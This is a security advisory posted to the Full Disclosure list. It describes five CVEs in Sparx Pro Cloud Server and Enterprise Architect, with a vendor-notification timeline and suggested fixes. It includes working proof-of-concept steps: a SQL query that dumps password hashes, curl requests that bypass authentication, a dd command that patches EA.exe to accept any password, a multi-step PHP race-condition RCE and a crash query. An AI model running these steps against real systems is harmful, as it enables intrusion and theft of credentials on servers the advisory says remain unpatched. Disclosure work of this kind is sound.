Multiple vulnerabilities in Sparx Pro Cloud Server and Enterprise Architect

2026-5-26 01:40:29 Author: seclists.org(查看原文) 阅读量:3 收藏

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Multiple vulnerabilities in Sparx Pro Cloud Server and Enterprise Architect
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

General information
═══════════════════

  Multiple vulnerabilities in Sparx Pro Cloud Server (PCS) versions <=
  6.1 and Sparx Enterprise Architect versions <=17.1 allow a remote
  unauthenticated attacker to execute arbitrary sql queries (both read
  and write) within any configured database. In case where PCS is
  installed with WebEA the vulnerabilities allow further for remote
  unauthenticated code execution (RCE) within the web server context.

  CVSSv4 chained score: *10.0 Critical*
  (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)

Fix
═══

  Currently vendor *did not resolve* any of the CVEs. The PCS
  authentication bypass and race condition seem to be easy to implement
  and I hope vendor will release patches soon.

  As a workaround it is best to isolate the PCS instances from internet
  and untrusted networks. Create frequent backups and review access logs
  if possible. You could also setup a proxy to limit the PCS
  authentication bypass (dropping requests with no or wrong model query
  parameter.

[Vulnerabilitiy #1] Sparx Pro Cloud Server SQL Command Execution
════════════════════════════════════════════════════════════════

CVE
───

  CVE-2026-42096 - Broken Access Control in Sparx Pro Cloud Server

Affected versions
─────────────────

  Sparx Pro Cloud Server versions <= 6.1 build 167

CVSSv4
──────

  9.4 Critical
  (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)

Impact
──────

  PCS works as a remote model for a thick client, running on user's
  computers, called Enterprise Architect (EA). EA connects to PCS and
  works with the exposed database by directly running SQL queries.
  Besides user authentication (which is also vulnerable - see
  vulnerability #2 below) there is no additional access control. Any low
  privileged user can actually run any sql queries permitted by the
  configured external database user. Usually the user configured is at
  least having full access to the model database - thus any low
  privileged user can actually destroy the whole model, retrieve and
  change other user's password hashes and more.

  The problem seems to be with legacy thick client EA architecture which
  simply works on a database to manage all the model details.

Details
───────

  The client (EA) is connecting to the PCS HTTP server. The server might
  require authentication *if it is properly configured* - an admin can
  check "Enable Security" in EA but still not select "Require a secure
  and authenticated connection" in PCS configuration what results in *NO
  SERVER SIDE authentication at all*.

  Assuming the server side authentication is required the PCS verifies
  the authentication according to configuration - e.g. login/password,
  Active Directory or OpenID.

  Then the EA client sends request to perform SQL queries on the
  database in an ecrypted form but the whole encryption scheme is built
  into the client EA binary (actually downloadable from the vendor
  webside without any authentication - as trial version). The encryption
  is symmetric using a key contained within the binary itself thus
  simply this is not any security measure (security by obscurity).

  An attacker can obtain the key and then *create and send custom SQL
  queries to be performed by the database*.

PoC
───

  Exploit: https://github.com/br0xpl/sparx_hack/blob/main/eacrypt.py
  is a python script which exploits the SQL vulnerability by encrypting
  any SQL command and sending it to the server. For security,
  the real key is removed from the exploit code.

  This script receives all users and their hashes from PCS:
  ┌────
  │ python3 eacrypt.py http://${PCS_HOSTNAME} model "select * from t_secuser, t_xref where t_xref.Type='User Setting' 
and t_xref.Name ='SHA-256' and t_xref.Client=t_secuser.UserID"
  └────

Solution
────────

  It will be hard to introduce proper authorization for all types of SQL
  queries - this would require to rewrite the logic to use some higher
  abstraction API which can be properly authorized.

  Until a proper authorized API will be provided a quick solution could
  be at least to verify the SQL queries executed and block the most
  dangerous like asking about other users' passwords and so on. Maybe a
  query whitelist with limiting the view of some critical assets like
  hashes.

  For sure it should be transparently stated in the PCS and EA
  documentation web page. Some integrators and admins are aware of this
  risk (there are some topics on the forum mentioning that the model
  security is not in fact security) but this *should be well described
  in both product documentations* as a limitation and risk which needs
  to be understood by clients and taken into consideration at an early
  stage while designing a production system. Otherwise it poses a high
  risk for any company using those products.

[Vulnerability #2] Sparx Pro Cloud Server Authentication Bypass
═══════════════════════════════════════════════════════════════

CVE
───

  CVE-2026-42097 - Authentication Bypass in Sparx Pro Cloud Server

Affected versions
─────────────────

  Sparx Pro Cloud Server versions <= 6.1 build 167

CVSSv4
──────

  9.2 Critical
  (CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

Impact
──────

  An attacker can *omit PCS authentication* and e.g. combined with the
  previous vulnerability be able to remotely execute arbitrary SQL
  commands (read and write) *without authentication*.

Details
───────

  It seems that PCS requires authentication based on requested URL. EA
  clients sending the encrypted SQL query to PCS are using an url which
  looks as follows:

  ┌────
  │ https://${PCS_SERVER_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME}
  └────

  PCS seems to look at the URL and decides how to authenticate the
  request. Unfortunately the SQL command query sends a POST request with
  a binary blob where the model name is defined one more time and this
  is the value that is further used by PCS to execute the query.

  Thus an attacker can simply omit the model query parameter and send
  the model name only in the binary blob in both TLS and non-TLS ports
  and the query will be executed even thought there was no
  authentication.

PoC
───

  To quickly verify compare the authenticated response for a request:
  ┌────
  │ curl 'https://${PCS_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME}&apos; -X POST  -vvv --data 'whatever' -k
  └────

  which responds 401 Access Denied to response of a request without the
  query param:

  ┌────
  │ curl 'https://${PCS_HOSTNAME}/SparxCloudLink.sseap&apos; -X POST  -vvv --data 'whatever' -k
  └────

  which responds 500 Internal Server Error.

  To proof this properly use the python code which exploits the #1
  SQL vulnerability and uses the URL without model query parameter to
  omit the authentication.

Solution
────────

  Make a single parameter pointing the model (either in the blob or in
  query param) and hook authentication and query logic on the same
  parameter.

[Vulnerability #3] Sparx Enterprise Architect Authorization Bypass
══════════════════════════════════════════════════════════════════

CVE
───

  CVE-2026-42098 - Authorization Bypass in Sparx Enterprise Architect

Affected versions
─────────────────

  Sparx Enterprise Architect versions <= 17.1

CVSSv4
──────

  7.7 High
  (CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

Impact
──────

  Sparx Enterprise Architect software has a security feature which can
  be enabled. When enabled the users can be limited to perform only some
  actions by roles but this is not a real security measure as it can be
  easily bypassed.

  *Any authenticated user can actually perform any action on the model*
  including deletion, stealing of other users' passwords and many
  others. This *includes configurations with Pro Cloud Server* where
  vendor advertises that PCS brings high level of security for the
  model:

        Robust security features are designed to protect sensitive
        model information, *including role-based access control*,
        encryption, authentication mechanisms and audit trails.

        source: <https://www.sparxsystems.eu/pro-cloud-server/>

Details
───────

  This vulnerability, most probably, is a result of the legacy thick
  client architecture described in the vulnerability #1.

  The EA documentation states briefly that the security is not a real
  security:

        The Security system in Enterprise Architect is designed to
        facilitate collaboration, *not as a barrier to incursion*.

        source:
        <https://sparxsystems.com/enterprise_architect_user_guide/17.1/guide_books/tools_ba_security.html>

  but right below it suggests that model assets should be secured:

        The information contained in the Repository is a valuable
        organizational asset that needs to be maintained and
        secured as such. The asset must be protected from both
        *intentional* and inadvertent compromises of content. The
        Security system allows update functions to be restricted
        to a set of users or groups with the appropriate defined
        permission. Packages, elements and diagrams can be locked
        by users, preventing others from updating them.

        source:
        <https://sparxsystems.com/enterprise_architect_user_guide/17.1/guide_books/tools_ba_security.html>

  Unfortunately the current design is not protecting against intentional
  compromises of content. An attacker can modify the EA client behavior
  (e.g. using a debugger) to login in as any other user or administrator
  - then it is possible to do every possible change to the repository.

PoC
───

  To show how it works it is enough to patch the binary to change the
  logic and accept all incorrect passwords and reject correct ones. For
  the file version 17.1.0.1714 of EA.exe (md5sum:
  69dfe7b98d1fc156d15d8aeff726cfce) the following would patch the logic:

  ┌────
  │ printf '\x84' | dd of=EA.exe bs=1 seek=$((0x34657B2)) conv=notrunc
  └────

  Then run the patched exe and try to login to local model with
  different password. It also works obviously for cloud models which do
  not require server HTTP authentication or when using the "Login as
  different user option".

Solution
────────

  The way security works for EA should be properly and transparently
  presented in the EA documentation and installation notes. The sentence
  quoted above is not enough and can be easily misinterpreted by many
  users leading to vulnerabilities.

  Also it should be explained that even when using PCS after
  authentication there is no authorization until visibility levels are
  enabled which are working per whole database manager not user - so in
  fact there is no user based RBAC but rather database manager RBAC what
  is much more coarse grained then per user roles access control.

  In terms of combination of EA and PCS it is possible to secure the
  design by e.g. following the recommendations proposed in vulnerability
  #1.

[Vulnerability #4] Sparx Pro Cloud Server WebEA Remote Code Execution
═════════════════════════════════════════════════════════════════════

CVE
───

  CVE-2026-42099 - Race Condition in Sparx Pro Cloud Server

Affected versions
─────────────────

  Sparx Pro Cloud Server versions <= 6.1 build 167

CVSSv4
──────

  9.0 Critical
  (CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)

Impact
──────

  PCS configured with WebEA PHP application allows for remote command
  execution using the /data_api/dl_internal_artifact.php endpoint. This
  URL is used by WebEA to download content of a internal artifact. A
  remote attacker having access to the PCS repository is able to inject
  a malicious php file into the model and then request its download.

  The vulnerable dl_internal_artifact.php allows the remote attacker to
  create temporary php file and concurrently execute it before it gets
  deleted.

  The remote attacker can use this attack to gain execution in context
  of WebEA which allows to further explore the WebEA and PCS server
  configuration.

Details
───────

  The vulnerable file first downloads the properties of the object
  pointed by guid parameter:

  ┌────
  │ 49  include('get_properties.php');
  │ 50  $sObjectName = SafeGetArrayItem1Dim($aCommonProps, 'name');
  │ 51  $sDocContent = SafeGetArrayItem1Dim($aDocument, 'content');
  │ 52  $sExtension = SafeGetArrayItem1Dim($aDocument, 'extension');
  │ 53  $sFileName = $sObjectName;
  │ 54  $iExtLength = strlen($sExtension);
  │ 55  $sObjectNameEnd = substr($sObjectName, -$iExtLength);
  │ 56  if($sExtension !== $sObjectNameEnd)
  │ 57  {
  │ 58    $sFileName = $sObjectName . $sExtension;
  │ 59  }
  └────
  Listing 1: WebEA/data_api/dl_internal_artifact.php

  Then the loaded content is saved in current location (__DIR__) and the
  evaluated above filename and then it is returned:

  ┌────
  │ 77  ...
  │ 78  function DownloadFromTempFile($sFileName, $sDocContent)
  │ 79  {
  │ 80    $decoded = base64_decode($sDocContent);
  │ 81    file_put_contents($sFileName, $decoded);
  │ 82    if (file_exists($sFileName)) {
  │ 83          header('Content-Description: File Transfer');
  │ 84          header('Content-Type: application/octet-stream');
  │ 85          header('Content-Disposition: attachment; filename="'.basename($sFileName).'"');
  │ 86          header('Expires: 0');
  │ 87          header('Cache-Control: must-revalidate');
  │ 88          header('Pragma: public');
  │ 89          header('Content-Length: ' . filesize($sFileName));
  │ 90          readfile($sFileName);
  │ 91          unlink($sFileName);
  │ 92          exit;
  │ 93    }
  │ 94  }
  │ 95  ...
  └────
  Listing 2: WebEA/data_api/dl_internal_artifact.php

  The attacker having access to the repository fully controls both: 1)
  the filename and 2) the contents. Thus it is possible to simply write
  a .php file in the current directory.

  The script however deletes the file in line 91 above. However, there
  is a race condition - if the readfile takes longer to transmit (large
  file size, slow tcp client) then the readfile will simply block
  waiting for the client to receive. At the same time the file can be
  requested in another tcp connection executing the exploit php code.

PoC
───

  1. Using vulnerabilities #1 and #2 attacker can create the artifact in
     the target repository:
     ┌────
     │ python3 eacrypt.py https://${PCS_HOSTNAME} ${MODEL_NAME} "insert into t_object (object_id, object_type, name, 
author, style, ea_guid) values (100000, 'Artifact', 'poc.php', 'Admin', 'ExtDoc=1;', 
'{\!A}8889BA10-6178-4047-9273-37FC75B0FCF6{\!C}')"
     │ # insert the document (zipped php file simply printing "Test") as "poc.php"
     │ python3 eacrypt.py https://${PCS_HOSTNAME} ${MODEL_NAME} "insert into t_document (docid, docname, elementid, 
elementtype, bincontent, doctype, author, isactive, sequence) values ('{\!A}8889BA10-6178-4047-9273-37FC75B0FCF6{\!C}', 
'poc.php', '{\!A}8889BA10-6178-4047-9273-37FC75B0FCF6{\!C}', '.php', 
cast(x'504b03041400000008005497575bfe1a3fd00c0300006141030007001c007374722e6461745554090003bf5efa68ce5efa6875780b000104e803000004e8030000edcdb10980301000c0fee1e750d3b8809825b28104ec0ce8fe388556770bdc56c73932fa715ef3d4fafd4c4bc65a32daf7241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482492df92b266d43de305504b01021e031400000008005497575bfe1a3fd00c03000061410300070018000000000001000000a481000000007374722e6461745554050003bf5efa6875780b000104e803000004e8030000504b050600000000010001004d0000004d0300000000'
 as blob sub_type binary), 'ExtDoc', 'Admin', 177, 0)"  
     └────

  2. In one terminal start to query the poc.php file until it is
     executed:
     ┌────
     │ while [ true ]; do curl 'https://${WEBEA_HOSTNAME}/data_api/poc.php&apos; -k; done 2> /dev/null | grep Test
     └────

  3. While the above command is executing in another terminal or logged
     in browser window open the following URL:

     ┌────
     │ 
https://${WEBEA_HOSTNAME}/data_api/dl_internal_artifact.php?guid=el_%7B8889BA10-6178-4047-9273-37FC75B0FCF6%7D&modelno=1
     └────

  4. In the terminal from step 2 there should be "Test" printed (proof
     that php code executed), if not try to repeat step 3.

Solution
────────

  The solution should be to return the content without saving it to
  disk. If necessary it should be saved in a temporary folder not
  accesible within webserver. Also the temporary file does not have to
  have the same name as the name returned - it should not use the
  filename from the model (controlled by user).

[Vulnerability #5] Sparx Pro Cloud Server Deny of Service in the /SparxCloudLink.sseap endpoint
═══════════════════════════════════════════════════════════════════════════════════════════════

CVE
───

  CVE-2026-42100 - DoS in Sparx Pro Cloud Server

Affected versions
─────────────────

  Sparx Pro Cloud Server versions <= 6.1 build 167

CVSSv4
──────

  8.7 High
  (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)

Impact
──────

  An attacker can make the PCS service exit causing a Deny of Service.
  The error was not deeply analyzed but it is possible that this or
  similar buffer operation bugs could be exploited to a code execution.

Details
───────

  Sending an SQL query with started escape sequence "{" without the
  finishing curly brace causes the PCS service to terminate
  unexpectedly.

PoC
───

  Run the following SQL query:
  ┌────
  │ python3 eacrypt.py http://${PCS_HOSTNAME} model "select {asd"
  └────

  The script will finish with "Connection reset by peer" error and the
  service will exit with the following message:

        [FATAL]: ————————————– [FATAL]: Thread 112 Unrecoverable
        error

Solution
────────

  Correct the handling of escape sequencing and parsing the SQL query
  for proper boundary checks. Recheck that there are no potential buffer
  overflow errors within the logic.

Timeline
════════

  • 09.2025 - Vulnerabilities identified.
  • 21.11.2025 - Sending details to CERT Polska to contact vendor.
  • 25.11.2025 - First contact of CERT Polska with Vendor.
  • 06.02.2026 - First Vendor reply with standard first-support-line
    questions about products, versions etc.
  • 14.04.2026 - Because of lack of progress Vendor was informed about
    planned publication according to the procedure - within 90 days of
    providing details.
  • 19.05.2026 - CVEs published.

References
══════════

  • <https://sploit.tech/2026/05/19/Sparx-Enterprise-Architect-PCS.html>
    - details with video
  • <https://efigo.pl/blog/CVE-2026-42096/> - summary
  • <https://cert.pl/en/posts/2026/05/CVE-2026-42096> - advisory
  • <https://sparxsystems.com/products/procloudserver/> - product’s
    website

Credits
═══════

  Author: Blazej Adamczyk (br0x) | <https://sploit.tech/>

  Team: Efigo <https://efigo.pl/>

Full Disclosure mailing list archives

Current thread: